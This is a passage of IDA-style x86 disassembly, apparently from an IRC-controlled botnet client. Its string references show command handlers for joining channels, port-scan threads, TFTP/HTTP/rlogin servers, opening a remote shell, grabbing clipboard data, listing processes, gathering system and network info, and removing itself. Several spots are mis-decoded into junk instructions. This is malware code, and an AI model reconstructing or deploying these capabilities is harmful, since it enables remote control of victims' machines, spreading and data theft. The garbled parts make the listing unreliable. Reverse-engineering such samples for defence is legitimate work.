--------------------------------------------------------------------------- loc_40718E: ; CODE XREF: seg000:004045C8j ; seg000:004045DFj push 5 push ebx push ebx push edi push offset aOpen_1 ; "open" push ebx call ds:dword_451460 test eax, eax push edi jz short loc_4071AE push offset aShellFileOpene ; "[SHELL]: File opened: %s" jmp loc_4068CE ; --------------------------------------------------------------------------- loc_4071AE: ; CODE XREF: seg000:004071A2j push offset aShellCouldnTOp ; "[SHELL]: Couldn't open file: %s" jmp loc_4068CE ; --------------------------------------------------------------------------- loc_4071B8: ; CODE XREF: seg000:0040459Aj ; seg000:004045B1j mov al, [edi] mov ds:byte_43CC74, al movsx eax, byte ptr [edi] push eax push offset aMainPrefixChan ; "[MAIN]: Prefix changed to: '%c'." jmp loc_4083DC ; --------------------------------------------------------------------------- loc_4071CD: ; CODE XREF: seg000:0040456Cj ; seg000:00404583j push edi call sub_41D560 test eax, eax pop ecx jle loc_40845F push edi call sub_41D560 cmp eax, 400h pop ecx jge loc_40845F push ebx push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_408A38 push eax lea eax, [ebp-2C8h] push offset aNickS_0 ; "NICK %s" push eax call sub_41D260 add esp, 1Ch lea eax, [ebp-2C8h] push eax push offset aS_17 ; "%s\r\n" jmp loc_406ABF ; --------------------------------------------------------------------------- loc_407224: ; CODE XREF: seg000:0040453Ej ; seg000:00404555j push edi call sub_41D560 test eax, eax pop ecx jle loc_403498 push edi call sub_41D560 cmp eax, 400h pop ecx jge loc_403498 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41D560 imul eax, 234h pop ecx push ds:dword_4523C4[eax] call sub_401417 pop ecx pop ecx push 1F4h call ds:dword_4F12F4 ; Sleep push edi call sub_41D560 imul eax, 234h pop ecx push ds:dword_4523C4[eax] call ds:dword_451588 push dword ptr [ebp-10h] push edi call sub_41D560 imul eax, 234h pop ecx push ds:dword_4523CC[eax] call near ptr 3D0000h fist dword ptr [edi-18h] mov dh, 62h add [eax], eax imul eax, 234h push edi mov ds:dword_4523CC[eax], ebx call sub_41D560 imul eax, 234h pop ecx pop ecx mov byte ptr ds:dword_4521B8[eax], bl jmp loc_403498 ; --------------------------------------------------------------------------- loc_4072CF: ; CODE XREF: seg000:00404510j ; seg000:00404527j push edi push offset aAll ; "all" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_4072FE call sub_408F08 cmp eax, ebx jle short loc_4072F4 push eax push offset aThreadsStopped ; "[THREADS]: Stopped: %d thread(s)." jmp loc_40546F ; --------------------------------------------------------------------------- loc_4072F4: ; CODE XREF: seg000:004072E7j push offset aThreadsNoActiv ; "[THREADS]: No active threads found." jmp loc_407C35 ; --------------------------------------------------------------------------- loc_4072FE: ; CODE XREF: seg000:004072DEj mov eax, [ebp-0A4h] lea edi, [eax+1] cmp edi, 20h jnb loc_403498 lea eax, [ebp+edi*4-94h] mov [ebp+2Ch], eax loc_40731A: ; CODE XREF: seg000:0040738Bj mov eax, [ebp+2Ch] mov esi, [eax] cmp esi, ebx jz loc_403498 push esi call sub_41D560 push eax call sub_408E7A pop ecx pop ecx test eax, eax push esi jz short loc_407341 push offset aThreadsKilledT ; "[THREADS]: Killed thread: %s." jmp short loc_407346 ; --------------------------------------------------------------------------- loc_407341: ; CODE XREF: seg000:00407338j push offset aThreadsFailedT ; "[THREADS]: Failed to kill thread: %s." loc_407346: ; CODE XREF: seg000:0040733Fj lea eax, [ebp-2C8h] push eax call sub_41D260 add esp, 0Ch cmp [ebp-8], ebx jnz short loc_407376 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 14h loc_407376: ; CODE XREF: seg000:00407358j lea eax, [ebp-2C8h] push eax call sub_4161A7 add dword ptr [ebp+2Ch], 4 inc edi cmp edi, 20h pop ecx jb short loc_40731A jmp loc_403498 ; --------------------------------------------------------------------------- loc_407392: ; CODE XREF: seg000:004044E2j ; seg000:004044F9j cmp [ebp-0Ch], ebx jz loc_40845F push edi push dword ptr [ebp-0Ch] call sub_41DBE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40845F push esi push offset aS_26 ; "%s\r\n" push dword ptr [ebp+0Ch] call sub_401417 push esi push offset aMainIrcRawS_ ; "[MAIN]: IRC Raw: %s." jmp loc_406CBB ; --------------------------------------------------------------------------- loc_4073C9: ; CODE XREF: seg000:004044B4j ; seg000:004044CBj push edi push offset aPartS_1 ; "PART %s\r\n" push dword ptr [ebp+0Ch] call sub_401417 push edi push offset aMainPartedChan ; "[MAIN]: Parted channel: '%s'." jmp loc_406CBB ; --------------------------------------------------------------------------- loc_4073E2: ; CODE XREF: seg000:00404486j ; seg000:0040449Dj push dword ptr [ebp+esi-8Ch] push edi push offset aJoinSS_3 ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_401417 push edi push offset aMainJoinedCh_0 ; "[MAIN]: Joined channel: '%s'." jmp loc_406B8F ; --------------------------------------------------------------------------- loc_407402: ; CODE XREF: seg000:00404458j ; seg000:0040446Fj push edi push offset aNickS_1 ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_401417 push edi push offset aMainNickChange ; "[MAIN]: Nick changed to: '%s'." jmp loc_406CBB ; --------------------------------------------------------------------------- loc_40741B: ; CODE XREF: seg000:0040441Dj ; seg000:00404432j mov al, ds:byte_4440D2 mov [ebp+8], ebx cmp al, bl mov edx, offset byte_4440D2 jz loc_403498 mov ecx, edx loc_407432: ; CODE XREF: seg000:0040743Aj inc dword ptr [ebp+8] add ecx, 0Bh cmp [ecx], bl jnz short loc_407432 cmp al, bl jz loc_403498 mov [ebp+20h], edx loc_407447: ; CODE XREF: seg000:00407701j push 0Bh call sub_408F87 pop ecx mov ecx, eax mov eax, 190h cdq idiv dword ptr [ebp+8] add eax, ecx cmp eax, 1F4h jle short loc_407496 push ecx lea eax, [ebp-2C8h] push offset aScanAlreadyD_0 ; "[SCAN]: Already %d scanning threads. To"... push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 20h jmp loc_4076F8 ; --------------------------------------------------------------------------- loc_407496: ; CODE XREF: seg000:00407461j or dword ptr [ebp-300h], 0FFFFFFFFh cmp ds:dword_4439F0, ebx mov dword ptr [ebp-304h], 32h mov dword ptr [ebp-318h], 5 mov [ebp-314h], ebx mov [ebp+8], ebx jz short loc_407503 mov eax, [ebp+20h] mov edi, offset dword_4439F0 lea esi, [eax-0Ah] loc_4074CD: ; CODE XREF: seg000:004074E5j lea eax, [edi-28h] push esi push eax call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_4074E9 inc dword ptr [ebp+8] add edi, 40h cmp [edi], ebx jnz short loc_4074CD jmp short loc_407503 ; --------------------------------------------------------------------------- loc_4074E9: ; CODE XREF: seg000:004074DBj mov eax, [ebp+8] mov ecx, eax mov [ebp-300h], eax shl ecx, 6 mov ecx, ds:dword_4439F0[ecx] mov [ebp-31Ch], ecx loc_407503: ; CODE XREF: seg000:004074C0j ; seg000:004074E7j cmp [ebp-31Ch], ebx jz loc_40770C push 10h lea eax, [ebp+18h] pop esi push eax lea eax, [ebp-2D8h] push eax mov [ebp+18h], esi push dword ptr [ebp+0Ch] call ds:dword_451498 mov al, [ebp-9B3h] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp-2D4h], eax push dword ptr [ebp-2D4h] call ds:dword_45157C push eax lea eax, [ebp-430h] push eax call sub_41D800 xor eax, eax cmp [ebp-9B3h], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp-430h] push eax call sub_41E3A0 add esp, 14h cmp edi, ebx mov [ebp+2Fh], bl jle short loc_4075A5 loc_407583: ; CODE XREF: seg000:004075A3j cmp eax, ebx jz short loc_4075A5 mov byte ptr [eax], 78h lea eax, [ebp-430h] push 30h push eax call sub_41E3A0 inc byte ptr [ebp+2Fh] pop ecx pop ecx movsx ecx, byte ptr [ebp+2Fh] cmp ecx, edi jl short loc_407583 loc_4075A5: ; CODE XREF: seg000:00407581j ; seg000:00407585j mov eax, [ebp+0Ch] push dword ptr [ebp-8Ch] mov esi, [ebp-4] mov [ebp-320h], eax mov eax, [ebp-8] mov edi, 80h mov [ebp-2F4h], eax lea eax, [ebp-420h] push edi push eax mov dword ptr [ebp-2F0h], 1 mov [ebp-2F8h], esi call sub_41D360 push offset dword_4DF350 push offset a143 ; "#143" call sub_41D900 add esp, 14h test eax, eax jz short loc_40760F push offset a143 ; "#143" lea eax, [ebp-3A0h] push edi push eax call sub_41D360 add esp, 0Ch jmp short loc_407615 ; --------------------------------------------------------------------------- loc_40760F: ; CODE XREF: seg000:004075F6j mov [ebp-3A0h], bl loc_407615: ; CODE XREF: seg000:0040760Dj cmp [ebp-2F0h], ebx mov eax, offset aRandom_1 ; "Random" jnz short loc_407627 mov eax, offset aSequential_0 ; "Sequential" loc_407627: ; CODE XREF: seg000:00407620j push dword ptr [ebp-304h] lea ecx, [ebp-430h] push dword ptr [ebp-314h] push dword ptr [ebp-318h] push dword ptr [ebp-31Ch] push ecx push eax lea eax, [ebp-2C8h] push offset aScanSPortSca_0 ; "[SCAN]: %s Port Scan started on %s:%d w"... push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 0Bh push eax call sub_408D3F add esp, 2Ch mov [ebp-310h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-430h] push ebx push eax push offset sub_40A146 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-310h] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_4076B1 loc_40769F: ; CODE XREF: seg000:004076AFj cmp [ebp-2ECh], ebx jnz short loc_4076CC push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_40769F ; --------------------------------------------------------------------------- loc_4076B1: ; CODE XREF: seg000:0040769Dj call ds:dword_4F1310 ; RtlGetLastWin32Error push eax lea eax, [ebp-2C8h] push offset aScanFailedTo_3 ; "[SCAN]: Failed to start scan thread, er"... push eax call sub_41D260 add esp, 0Ch loc_4076CC: ; CODE XREF: seg000:004076A5j cmp [ebp-8], ebx jnz short loc_4076EB push ebx lea eax, [ebp-2C8h] push esi push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 14h loc_4076EB: ; CODE XREF: seg000:004076CFj lea eax, [ebp-2C8h] push eax call sub_4161A7 pop ecx loc_4076F8: ; CODE XREF: seg000:00407491j add dword ptr [ebp+20h], 0Bh mov eax, [ebp+20h] ; CODE XREF: seg000:00407770j cmp [eax], bl jnz loc_407447 jmp loc_403498 ; --------------------------------------------------------------------------- loc_40770C: ; CODE XREF: seg000:00407509j push offset aScanFailedTo_4 ; "[SCAN]: Failed to start scan, port is i"... jmp loc_407C35 ; --------------------------------------------------------------------------- loc_407716: ; CODE XREF: seg000:004043F3j ; seg000:00404408j push 5 call sub_408F87 test eax, eax pop ecx jle short loc_40773A push offset aTftpAlreadyRun ; "[TFTP]: Already running." loc_407727: ; CODE XREF: seg000:004047BCj ; seg000:00404851j ... lea eax, [ebp-2C8h] push eax call sub_41D260 pop ecx pop ecx jmp loc_406698 ; --------------------------------------------------------------------------- loc_40773A: ; CODE XREF: seg000:00407720j mov eax, [ebp+esi-90h] cmp eax, ebx jz short loc_40775D push eax mov edi, 104h lea eax, [ebp-804h] push edi push eax call sub_41D360 add esp, 0Ch jmp short near ptr loc_407770+1 ; --------------------------------------------------------------------------- loc_40775D: ; CODE XREF: seg000:00407743j mov edi, 104h lea eax, [ebp-804h] push edi push eax push ebx call near ptr 3D0000h loc_407770: ; CODE XREF: seg000:0040775Bj ja short near ptr loc_4076FC+1 mov ah, 35h jz short near ptr loc_407774+1 ; CODE XREF: seg000:loc_407774j ; --------------------------------------------------------------------------- dw 0FFFFh ; --------------------------------------------------------------------------- cmp esi, ebx jnz short loc_407781 mov esi, offset byte_43CCBC loc_407781: ; CODE XREF: seg000:0040777Aj push esi lea eax, [ebp-700h] push edi push eax call sub_41D360 mov eax, ds:dword_43CC58 push 7Fh push dword ptr [ebp-8Ch] mov [ebp-5F4h], eax mov eax, [ebp+0Ch] mov [ebp-5F8h], ebx mov [ebp-808h], eax lea eax, [ebp-5F0h] push eax call sub_41D800 mov eax, [ebp-4] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax lea eax, [ebp-700h] push eax lea eax, [ebp-804h] push eax lea eax, [ebp-2C8h] push dword ptr [ebp-5F4h] push offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"... push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 5 push eax call sub_408D3F add esp, 38h mov [ebp-5FCh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-808h] push ebx push eax push offset loc_412AD0 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-5FCh] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_407851 loc_40783B: ; CODE XREF: seg000:0040784Fj cmp [ebp-568h], ebx jnz loc_406698 push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_40783B ; --------------------------------------------------------------------------- loc_407851: ; CODE XREF: seg000:00407839j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aTftpFailedToSt ; "[TFTP]: Failed to start server thread, "... jmp loc_4083DC ; --------------------------------------------------------------------------- loc_407862: ; CODE XREF: seg000:004043C9j ; seg000:004043DEj mov edi, [ebp+esi-90h] cmp edi, ebx jz short loc_407881 push edi call sub_41D560 test eax, eax pop ecx jz short loc_407881 push edi call sub_41D560 pop ecx jmp short loc_407886 ; --------------------------------------------------------------------------- loc_407881: ; CODE XREF: seg000:0040786Bj ; seg000:00407876j mov eax, ds:dword_43CC5C loc_407886: ; CODE XREF: seg000:0040787Fj mov esi, [ebp+esi-8Ch] mov [ebp-584h], eax xor eax, eax cmp [ebp-9B0h], bl setz al cmp esi, ebx mov [ebp-570h], eax jz short loc_4078B9 lea eax, [ebp-688h] push esi push eax call sub_41D260 pop ecx pop ecx jmp short loc_4078E4 ; --------------------------------------------------------------------------- loc_4078B9: ; CODE XREF: seg000:004078A6j lea eax, [ebp-3E8h] push 104h push eax call near ptr 3D0000h fcom dword ptr [ebx+53h] lea eax, [ebp-2D4h] push ebx push eax lea eax, [ebp-3E8h] push eax call sub_41DC60 add esp, 14h loc_4078E4: ; CODE XREF: seg000:004078B7j lea eax, [ebp-688h] push eax call sub_41AC70 cmp byte ptr [ebp+eax-689h], 5Ch pop ecx jnz short loc_40790F lea eax, [ebp-688h] push eax call sub_41AC70 pop ecx mov [ebp+eax-689h], bl loc_40790F: ; CODE XREF: seg000:004078F9j push dword ptr [ebp-8Ch] mov esi, [ebp+0Ch] lea eax, [ebp-910h] mov [ebp-914h], esi push 80h push eax call sub_41D360 mov eax, [ebp-8] mov edi, [ebp-4] add esp, 0Ch mov [ebp-574h], eax lea eax, [ebp-688h] mov [ebp-578h], edi push eax push dword ptr [ebp-584h] push esi call sub_402617 pop ecx push eax lea eax, [ebp-2C8h] push offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"... push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 3 push eax call sub_408D3F add esp, 20h mov [ebp-57Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-914h] push ebx push eax push offset sub_410418 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-57Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_4079C7 loc_4079B1: ; CODE XREF: seg000:004079C5j cmp [ebp-568h], ebx jnz loc_407B16 push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_4079B1 ; --------------------------------------------------------------------------- loc_4079C7: ; CODE XREF: seg000:004079AFj call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aHttpdFailedToS ; "[HTTPD]: Failed to start server thread,"... jmp loc_407B07 ; --------------------------------------------------------------------------- loc_4079D8: ; CODE XREF: seg000:0040439Fj ; seg000:004043B4j mov edi, [ebp+esi-90h] cmp edi, ebx jz short loc_4079F7 push edi call sub_41D560 test eax, eax pop ecx jz short loc_4079F7 push edi call sub_41D560 pop ecx jmp short loc_4079FC ; --------------------------------------------------------------------------- loc_4079F7: ; CODE XREF: seg000:004079E1j ; seg000:004079ECj mov eax, ds:dword_43CC60 loc_4079FC: ; CODE XREF: seg000:004079F5j mov [ebp-580h], eax mov eax, [ebp+esi-8Ch] cmp eax, ebx jnz short loc_407A13 lea eax, [ebp-0C0h] loc_407A13: ; CODE XREF: seg000:00407A0Bj push eax lea eax, [ebp-6C0h] push 40h push eax call sub_41D360 mov esi, [ebp+esi-88h] add esp, 0Ch cmp esi, ebx jnz short loc_407A35 mov esi, offset dword_4DF34C loc_407A35: ; CODE XREF: seg000:00407A2Ej push esi lea eax, [ebp-680h] push 100h push eax call sub_41D360 push dword ptr [ebp-8Ch] lea eax, [ebp-740h] push 80h push eax call sub_41D360 mov eax, [ebp-8] mov esi, [ebp+0Ch] mov edi, [ebp-4] add esp, 18h mov [ebp-56Ch], eax lea eax, [ebp-6C0h] push eax mov [ebp-744h], esi push dword ptr [ebp-580h] mov [ebp-570h], edi push esi call sub_402617 pop ecx push eax lea eax, [ebp-2C8h] push offset aRlogindServerL ; "[RLOGIND]: Server listening on IP: %s:%"... push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 9 push eax call sub_408D3F add esp, 20h mov [ebp-57Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-744h] push ebx push eax push offset byte_411D87 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-57Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_407AFB loc_407AE9: ; CODE XREF: seg000:00407AF9j cmp [ebp-568h], ebx jnz short loc_407B16 push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_407AE9 ; --------------------------------------------------------------------------- loc_407AFB: ; CODE XREF: seg000:00407AE7j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aRlogindFailedT ; "[RLOGIND]: Failed to start server threa"... loc_407B07: ; CODE XREF: seg000:00406026j ; seg000:00406120j ... lea eax, [ebp-2C8h] push eax call sub_41D260 add esp, 0Ch loc_407B16: ; CODE XREF: seg000:0040600Aj ; seg000:00406104j ... cmp [ebp-8], ebx jnz loc_40549F push ebx push edi loc_407B21: ; CODE XREF: seg000:004058CAj lea eax, [ebp-2C8h] push eax push dword ptr [ebp-8Ch] push esi jmp loc_405497 ; --------------------------------------------------------------------------- loc_407B34: ; CODE XREF: seg000:00404375j ; seg000:0040438Aj mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_407B47 push esi call sub_41D560 jmp short loc_407B4E ; --------------------------------------------------------------------------- loc_407B47: ; CODE XREF: seg000:00407B3Dj push 0Bh call sub_408FA6 loc_407B4E: ; CODE XREF: seg000:00407B45j cmp eax, ebx pop ecx jz loc_40845F push eax push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call near ptr loc_409696+1 loc_407B69: ; CODE XREF: seg000:00407FE8j add esp, 10h jmp loc_40845F ; --------------------------------------------------------------------------- loc_407B71: ; CODE XREF: seg000:0040434Bj ; seg000:00404360j mov eax, ds:dword_451414 cmp eax, ebx jz short loc_407B8E call eax ; dword_451414 test eax, eax jz short loc_407B87 push offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache flushed." jmp short loc_407BAA ; --------------------------------------------------------------------------- loc_407B87: ; CODE XREF: seg000:00407B7Ej push offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to flush DNS cache." jmp short loc_407BAA ; --------------------------------------------------------------------------- loc_407B8E: ; CODE XREF: seg000:00407B78j push offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to load dnsapi.dll." jmp short loc_407BAA ; --------------------------------------------------------------------------- loc_407B95: ; CODE XREF: seg000:00404321j ; seg000:00404336j call sub_402533 test eax, eax jz short loc_407BA5 push offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache flushed." jmp short loc_407BAA ; --------------------------------------------------------------------------- loc_407BA5: ; CODE XREF: seg000:00407B9Cj push offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to flush ARP cache." loc_407BAA: ; CODE XREF: seg000:00407B85j ; seg000:00407B8Cj ... lea eax, [ebp-2C8h] push 200h push eax call sub_41D360 jmp loc_4068DA ; --------------------------------------------------------------------------- loc_407BC0: ; CODE XREF: seg000:004042F7j ; seg000:0040430Cj cmp [ebp-8], ebx jnz short loc_407BDF push ebx push dword ptr [ebp-4] push offset aClipboardData ; "-[Clipboard Data]-" push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 14h loc_407BDF: ; CODE XREF: seg000:00407BC3j push ebx push dword ptr [ebp-4] call sub_4179BF push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D push offset aMainGetClipboa ; "[MAIN]: Get Clipboard." jmp loc_407EB7 ; --------------------------------------------------------------------------- loc_407C01: ; CODE XREF: seg000:00404217j ; seg000:0040422Cj push 0Ah call sub_408F87 test eax, eax pop ecx jle short loc_407C14 push offset aCmdRemoteShell ; "[CMD]: Remote shell already running." jmp short loc_407C35 ; --------------------------------------------------------------------------- loc_407C14: ; CODE XREF: seg000:00407C0Bj push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_419602 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_407C30 push offset aCmdCouldnTOpen ; "[CMD]: Couldn't open remote shell." jmp short loc_407C35 ; --------------------------------------------------------------------------- loc_407C30: ; CODE XREF: seg000:00407C27j push offset aCmdRemoteShe_0 ; "[CMD]: Remote shell ready." loc_407C35: ; CODE XREF: seg000:00405667j ; seg000:00405797j ... lea eax, [ebp-2C8h] push eax call sub_41D260 pop ecx pop ecx jmp loc_40547E ; --------------------------------------------------------------------------- loc_407C48: ; CODE XREF: seg000:004041EDj ; seg000:00404202j push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40216A jmp loc_407ED5 ; --------------------------------------------------------------------------- loc_407C61: ; CODE XREF: seg000:004041C3j ; seg000:004041D8j push dword ptr [ebp+esi-90h] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_416CB5 jmp loc_407ED5 ; --------------------------------------------------------------------------- loc_407C7E: ; CODE XREF: seg000:00404199j ; seg000:004041AEj or edi, 0FFFFFFFFh call ds:dword_4F1340 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi-90h] cmp esi, ebx mov [ebp+8], eax jz short loc_407CA7 push esi call sub_41D560 pop ecx mov edi, eax loc_407CA7: ; CODE XREF: seg000:00407C9Cj mov eax, [ebp+8] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_407CC0 cmp edi, 0FFFFFFFFh jnz loc_40845F loc_407CC0: ; CODE XREF: seg000:00407CB5j push ebx call sub_41A227 push eax lea eax, [ebp-2C8h] push offset aMainUptimeS_ ; "[MAIN]: Uptime: %s." push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D lea eax, [ebp-2C8h] push eax call sub_4161A7 jmp loc_405E5B ; --------------------------------------------------------------------------- loc_407D02: ; CODE XREF: seg000:0040416Fj ; seg000:00404184j push 27h call sub_408F87 test eax, eax pop ecx jle short loc_407D36 cmp [ebp-8], ebx jnz loc_403498 push ebx push dword ptr [ebp-4] push offset aProcAlreadyRun ; "[PROC]: Already running." push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 14h jmp loc_403498 ; --------------------------------------------------------------------------- loc_407D36: ; CODE XREF: seg000:00407D0Cj push dword ptr [ebp-8Ch] lea eax, [ebp-4DCh] push 80h push eax call sub_41D360 mov eax, [ebp+0Ch] mov esi, [ebp+esi-90h] mov [ebp-4E0h], eax mov eax, [ebp-4] mov [ebp-454h], eax mov eax, [ebp-8] add esp, 0Ch cmp esi, ebx mov [ebp-450h], eax mov [ebp-458h], ebx jz short loc_407D97 push esi push offset aFull ; "full" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_407D97 mov dword ptr [ebp-458h], 1 loc_407D97: ; CODE XREF: seg000:00407D7Aj ; seg000:00407D8Bj lea eax, [ebp-2C8h] push offset aProcsProccessL ; "[PROCS]: Proccess list." push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 27h push eax call sub_408D3F add esp, 14h mov [ebp-45Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4E0h] push ebx push eax push offset sub_419289 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-45Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_407E05 loc_407DEF: ; CODE XREF: seg000:00407E03j cmp [ebp-44Ch], ebx jnz loc_40549F push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_407DEF ; --------------------------------------------------------------------------- loc_407E05: ; CODE XREF: seg000:00407DEDj call ds:dword_4F1310 ; RtlGetLastWin32Error push eax lea eax, [ebp-2C8h] push offset aProcsFailedToS ; "[PROCS]: Failed to start listing thread"... push eax call sub_41D260 add esp, 0Ch jmp loc_40549F ; --------------------------------------------------------------------------- loc_407E25: ; CODE XREF: seg000:00404145j ; seg000:0040415Aj cmp [ebp-8], ebx jnz short loc_407E44 push ebx push dword ptr [ebp-4] push offset aMainRemovingBo ; "[MAIN]: Removing Bot." push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 14h loc_407E44: ; CODE XREF: seg000:00407E28j push dword ptr [ebp+0Ch] call ds:dword_451588 call ds:dword_45144C call loc_417BC3 push ebx call ds:dword_4F12F8 ; ExitProcess loc_407E5F: ; CODE XREF: seg000:0040411Bj ; seg000:00404130j push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push eax call loc_41A3E4 pop ecx pop ecx push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D push offset aMainSystemInfo ; "[MAIN]: System Info." jmp short loc_407EB7 ; --------------------------------------------------------------------------- loc_407E8A: ; CODE XREF: seg000:004040F1j ; seg000:00404106j push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push dword ptr [ebp+24h] push eax call sub_41A698 add esp, 0Ch push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D push offset aMainNetworkInf ; "[MAIN]: Network Info." loc_407EB7: ; CODE XREF: seg000:00407BFCj ; seg000:00407E88j call sub_4161A7 jmp loc_406B94 ; --------------------------------------------------------------------------- loc_407EC1: ; CODE XREF: seg000:004040C7j ; seg000:004040DCj push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4162E4 loc_407ED5: ; CODE XREF: seg000:004033E2j ; seg000:00407C5Cj ... add esp, 10h jmp loc_403498 ; --------------------------------------------------------------------------- loc_407EDD: ; CODE XREF: seg000:0040409Dj ; seg000:004040B2j cmp [ebp-0Ch], ebx mov [ebp-374h], bl jz short loc_407F1C mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_407F1C push esi push dword ptr [ebp-0Ch] call sub_41DBE0 pop ecx cmp eax, ebx pop ecx jz short loc_407F1C push eax push offset aS_18 ; "%s" lea eax, [ebp-374h] push 80h push eax call sub_41D360 add esp, 10h loc_407F1C: ; CODE XREF: seg000:00407EE6j ; seg000:00407EF1j ... push dword ptr [ebp-8Ch] lea eax, [ebp-3F4h] push 80h push eax call sub_41D360 mov eax, [ebp+0Ch] push offset aLogListingLog_ ; "[LOG]: Listing log." mov [ebp-3F8h], eax mov eax, [ebp-4] mov [ebp-2F0h], eax mov eax, [ebp-8] mov [ebp-2ECh], eax lea eax, [ebp-2C8h] push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 25h push eax call sub_408D3F add esp, 20h mov [ebp-2F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-3F8h] push ebx push eax push offset byte_416357 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-2F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_407FBC loc_407FA6: ; CODE XREF: seg000:00407FBAj cmp [ebp-2E8h], ebx jnz loc_403498 push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_407FA6 ; --------------------------------------------------------------------------- loc_407FBC: ; CODE XREF: seg000:00407FA4j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aLogFailedToSta ; "[LOG]: Failed to start listing thread, "... jmp loc_4085E6 ; --------------------------------------------------------------------------- loc_407FCD: ; CODE XREF: seg000:00404073j ; seg000:00404088j push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_41612F push offset aMainAliasList_ ; "[MAIN]: Alias list." call sub_4161A7 jmp loc_407B69 ; --------------------------------------------------------------------------- loc_407FED: ; CODE XREF: seg000:00404049j ; seg000:0040405Ej push dword ptr [ebp-8Ch] lea eax, [ebp-4DCh] push 80h push eax call sub_41D360 mov eax, [ebp+0Ch] mov esi, [ebp+esi-90h] mov [ebp-4E0h], eax mov eax, [ebp-4] mov [ebp-454h], eax mov eax, [ebp-8] add esp, 0Ch cmp esi, ebx mov [ebp-450h], eax jz short loc_408047 push offset aSub ; "sub" push 